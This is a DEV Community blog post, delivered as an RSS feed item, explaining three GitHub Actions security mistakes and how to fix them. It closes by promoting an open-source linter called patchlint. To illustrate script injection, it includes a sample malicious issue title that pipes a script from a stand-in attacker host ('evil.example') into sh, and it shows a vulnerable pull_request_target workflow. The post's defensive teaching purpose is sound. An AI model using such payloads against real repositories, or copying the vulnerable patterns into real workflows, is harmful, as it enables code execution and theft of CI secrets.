<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: RubahAnomali</title>
    <description>The latest articles on DEV Community by RubahAnomali (@rubahanomali).</description>
    <link>https://dev.to/rubahanomali</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4267635%2Fdc5a5f6b-86f2-46aa-af1b-a5f1fe18acc5.jpg</url>
      <title>DEV Community: RubahAnomali</title>
      <link>https://dev.to/rubahanomali</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rubahanomali"/>
    <language>en</language>
    <item>
      <title>3 GitHub Actions mistakes that let strangers run code in your CI (and a small linter that catches them)</title>
      <dc:creator>RubahAnomali</dc:creator>
      <pubDate>Thu, 26 Nov 2026 19:49:11 +0000</pubDate>
      <link>https://dev.to/rubahanomali/3-github-actions-mistakes-that-let-strangers-run-code-in-your-ci-and-a-small-linter-that-catches-5eab</link>
      <guid>https://dev.to/rubahanomali/3-github-actions-mistakes-that-let-strangers-run-code-in-your-ci-and-a-small-linter-that-catches-5eab</guid>
      <description>&lt;p&gt;Your CI has access to your secrets, your package publishing tokens, and often write access to your repo. So the question "who can make my workflow run their code?" matters more than it looks. Here are three mistakes I keep seeing, why they are dangerous, and the fix for each.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Script injection: &lt;code&gt;${{ }}&lt;/code&gt; inside &lt;code&gt;run:&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Say you have a workflow that greets new issues:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;issues&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;types&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;opened&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "New issue - ${{ github.event.issue.title }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GitHub replaces &lt;code&gt;${{ ... }}&lt;/code&gt; with the text &lt;strong&gt;before&lt;/strong&gt; the shell ever sees the script. So an issue titled&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="s2"&gt;"; curl https://evil.example/x.sh | sh; "&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;turns your step into:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"New issue - "&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; curl https://evil.example/x.sh &lt;span class="o"&gt;|&lt;/span&gt; sh&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anyone who can open an issue, comment, or open a pull request just ran code in your runner. The fix is to pass the value through an environment variable, so the shell treats it as data instead of code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;TITLE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.issue.title }}&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "New issue - $TITLE"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same applies to pull request titles and branch names, comment bodies, and commit messages.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Actions pinned to tags, not commits
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;some-org/some-action@v3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A tag is just a pointer, and whoever controls the repo can move it. In March 2025 the popular &lt;code&gt;tj-actions/changed-files&lt;/code&gt; action was compromised and its tags were repointed to malicious code, which then printed secrets into workflow logs. Anyone pinned to a tag picked it up automatically. Anyone pinned to a full commit SHA did not:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;some-org/some-action@&amp;lt;full 40-character commit sha&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# v3.1.0
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pinning makes updating a chore, so let Dependabot do it. It understands the SHA-plus-version-comment style and opens a pull request when a new release comes out.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. &lt;code&gt;pull_request_target&lt;/code&gt; that checks out the PR's code
&lt;/h2&gt;

&lt;p&gt;Normal &lt;code&gt;pull_request&lt;/code&gt; workflows from forks run without secrets. &lt;code&gt;pull_request_target&lt;/code&gt; runs with the base repository's secrets and a writable token, which is useful for things like labeling pull requests, and dangerous in one combination:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pull_request_target&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@&amp;lt;sha&amp;gt;&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.head.sha }}&lt;/span&gt;   &lt;span class="c1"&gt;# the attacker's code
&lt;/span&gt;      &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm ci &amp;amp;&amp;amp; npm test&lt;/span&gt;                              &lt;span class="c1"&gt;# runs it, with your secrets
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the "pwn request" pattern: a stranger's code runs in a context that has your secrets. If you need &lt;code&gt;pull_request_target&lt;/code&gt;, do not check out or run the pull request's code in the same job. Do your trusted work in one workflow and run untrusted code in a separate &lt;code&gt;pull_request&lt;/code&gt; workflow without secrets.&lt;/p&gt;

&lt;p&gt;Two smaller things worth checking while you are there: set &lt;code&gt;permissions:&lt;/code&gt; explicitly (the default token is often broader than the job needs), and be careful with &lt;code&gt;secrets: inherit&lt;/code&gt; when calling reusable workflows from other repositories.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catching these automatically
&lt;/h2&gt;

&lt;p&gt;I got tired of checking these by hand, so I wrote a small linter called &lt;strong&gt;patchlint&lt;/strong&gt;. It reads your workflows (and also Dockerfiles and docker-compose files), explains why each finding matters, and says how to fix it, with the exact line number.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip install patchlint
patchlint scan .
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.github/workflows/triage.yml:8: [GA002/high] `github.event.issue.title` is attacker-controlled and is pasted into the script.
    fix: Move it to `env:` and use the variable, quoted, in the script.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It can also output SARIF, so the findings show up in GitHub's Security tab, and it ships as a GitHub Action.&lt;/p&gt;

&lt;p&gt;To be upfront: it is a young, small project. If you want something more mature for workflows, look at &lt;a href="https://github.com/woodruffw/zizmor" rel="noopener noreferrer"&gt;zizmor&lt;/a&gt;, and for Dockerfiles &lt;a href="https://github.com/hadolint/hadolint" rel="noopener noreferrer"&gt;hadolint&lt;/a&gt; is excellent. patchlint's angle is covering all three file types in one tool and being easy to extend: &lt;strong&gt;each rule is a single small Python file&lt;/strong&gt; with a "bad" example and a "good" example as its test.&lt;/p&gt;

&lt;h2&gt;
  
  
  Want to write a rule?
&lt;/h2&gt;

&lt;p&gt;That last point is the real reason I am posting. The project is open source (MIT) and built for first-time contributors: &lt;a href="https://github.com/RubahAnomali/patchlint" rel="noopener noreferrer"&gt;the repo&lt;/a&gt; has a list of well-described &lt;code&gt;good first issue&lt;/code&gt;s, and &lt;code&gt;patchlint new-rule&lt;/code&gt; creates the file and the test fixtures for you. Five people have already added rules or features, which is why it went from 2 rules to 16 in two days: thank you @SVR1339, @ljw1558, @techkayacodes, @UNMFOREVER and @PrathamShenoy14.&lt;/p&gt;

&lt;p&gt;If you have a security check you wish existed, I would love to see a pull request.&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>githubactions</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
